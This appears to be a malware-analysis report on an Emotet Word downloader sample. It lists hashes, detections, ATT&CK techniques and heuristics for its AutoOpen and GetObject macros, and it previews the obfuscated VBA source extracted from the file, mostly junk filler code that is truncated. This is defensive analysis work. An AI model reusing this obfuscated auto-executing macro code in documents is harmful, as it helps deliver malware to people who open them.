Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 9c8d7acf2b3065a0…

MALICIOUS

Office (OLE)

322.1 KB Created: 2019-02-20 15:50:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: a93ddafc912facd16c7a7fc6a3ac4aef SHA-1: a39bcaebb1048ecc8a2860a822a07c58a52f3fb1 SHA-256: 9c8d7acf2b3065a0ce936cb4d2bda9bf31216a6cec1f1e151e8760ffbb032925
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6863643-0', indicating it is likely part of the Emotet family. Heuristics confirm the presence of VBA macros, including an AutoOpen macro and a GetObject call, which are commonly used to execute malicious code. The VBA script itself is heavily obfuscated, but the presence of these indicators strongly suggests it is designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6863643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6863643-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70072 bytes
SHA-256: 1b60808f170b4570d02b602044d7acf19635d814464341de8a327c6001b9c367
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Z_38110"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b04543"
Function w_71_4_()
      G___902 = 463496802 - 300565441
   M_67647_ = 275529203 + r7022_6
  Select Case t84420
      Case 393055823
         j26146 = Chr(66268235 * Tan(X7124_))
         Y37841 = s0_360_3
      Case 728148230
         O_341__ = z_46__
         o97185 = S20_9_60
      Case 237004443
         N_7_72 = 750649577
         W56770 = H908_8
   End Select
      j2__70 = 18518068 - 131667192
   s8_9_0 = 62015676 + X7__7_96
  Select Case w9__11_
      Case 497061171
         z_09___6 = Chr(488412061 * Tan(f6_2__5))
         t4__87 = u813101
      Case 672540901
         w8_3__ = K__4482
         k__16_57 = S90_61
      Case 601956749
         E052_342 = 857795623
         c1__5_ = c990_9
   End Select
      b3453__ = 104565420 - 775740543
   X_4393 = 445355691 + Y___2_65
  Select Case Y5_90_
      Case 79199700
         r__82_ = Chr(941390874 * Tan(T_99_01_))
         K769_9 = c4978_38
      Case 881299136
         p4318_ = t848_6_
         W52_0_67 = U_74_888
      Case 65364877
         v99_835 = 679947712
         n95286 = M_842_
   End Select
      v75_37 = 453532830 - 412301132
   U14788_7 = 95796094 + b523053
  Select Case l573_93_
      Case 953038870
         w3473900 = Chr(12276949 * Tan(C1_634))
         H43_429 = z5_8857
      Case 381220213
         w198357 = R87_276
         V_6982_0 = Z_5110_7
      Case 543573614
         U__3_186 = 630158723
         l0_235 = o880_01
   End Select
      q02__62 = 83606640 - 488853547
   d12_91 = 143256400 + A_9306
  Select Case B9_51_5
      Case 683430457
         z8__23_ = Chr(796771875 * Tan(b677_6))
         G_18481_ = a5_2_733
      Case 276270113
         W6___193 = k558_77
         p44153 = j_58244
      Case 700988235
         j58707 = 144854371
         W8__0_ = W369_89
   End Select
      s888_31 = 49539378 - 772740888
   L13_1440 = 996136666 + u0630712
  Select Case v56__62
      Case 165732834
         F_94_31_ = Chr(634065621 * Tan(k_20_20))
         B0145__ = t28__0
      Case 74561086
         O87474 = Y44157
         l7_6_35 = n1___79
      Case 728333453
         z2_3_32 = 249365808
         E80_324 = L2339043
   End Select
      P44_28_ = 988772114 - 646105999
   q_2_32 = 241365347 + o5754_8
  Select Case B1577_9
      Case 668250859
         h273__ = Chr(85106757 * Tan(b90699__))
         h2_889__ = S575117
      Case 347078999
         i39___60 = h___3209
         A__1632 = d28_158
      Case 562870064
         l4228_87 = 706307631
         S_790068 = l_4203_
   End Select
End Function
Function T__6___(s__083, h562_7_4)
On Error Resume Next
      l_8_1_3 = 348603701 - 398410052
   s4_662__ = 765062067 + d793_60
  Select Case a2_8_062
      Case 559876446
         G29__6_6 = Chr(142959468 * Tan(Q_4415_1))
         D13_667 = u54_57__
      Case 470702012
         R33__25 = D48_412
         S_506_61 = o375835_
      Case 835402729
         O2_209_8 = 692878783
         V_2840 = S_57_6
   End Select
      P20__23_ = 922571786 - 686756153
   a5775934 = 179635042 + i51__6
  Select Case z_57_583
      Case 927261415
         H65___51 = Chr(272938300 * Tan(m8_218_))
         S__913 = F_64_46
      Case 649192883
         N_76_77 = m_517849
         m_81__7 = z457_2
      Case 470863079
         z2431630 = 811410163
         l803188_ = a5621876
   End Select
      M34368 = 572154674 - 867632956
   s__2_6 = 598042126 + K_2_9138
  Select Case B65_9_9
      Case 843314296
         H6_6_09 = Chr(853046827 * Tan(I5233725))
         J_273_ = I538_80_
      Case 14711409
         u755_4 = H92043
         I564129 = b9898676
      Case 338829439
         s053686 = 352550132
         w6_27797 = t0649309
   End Select
Set c____
... (truncated)

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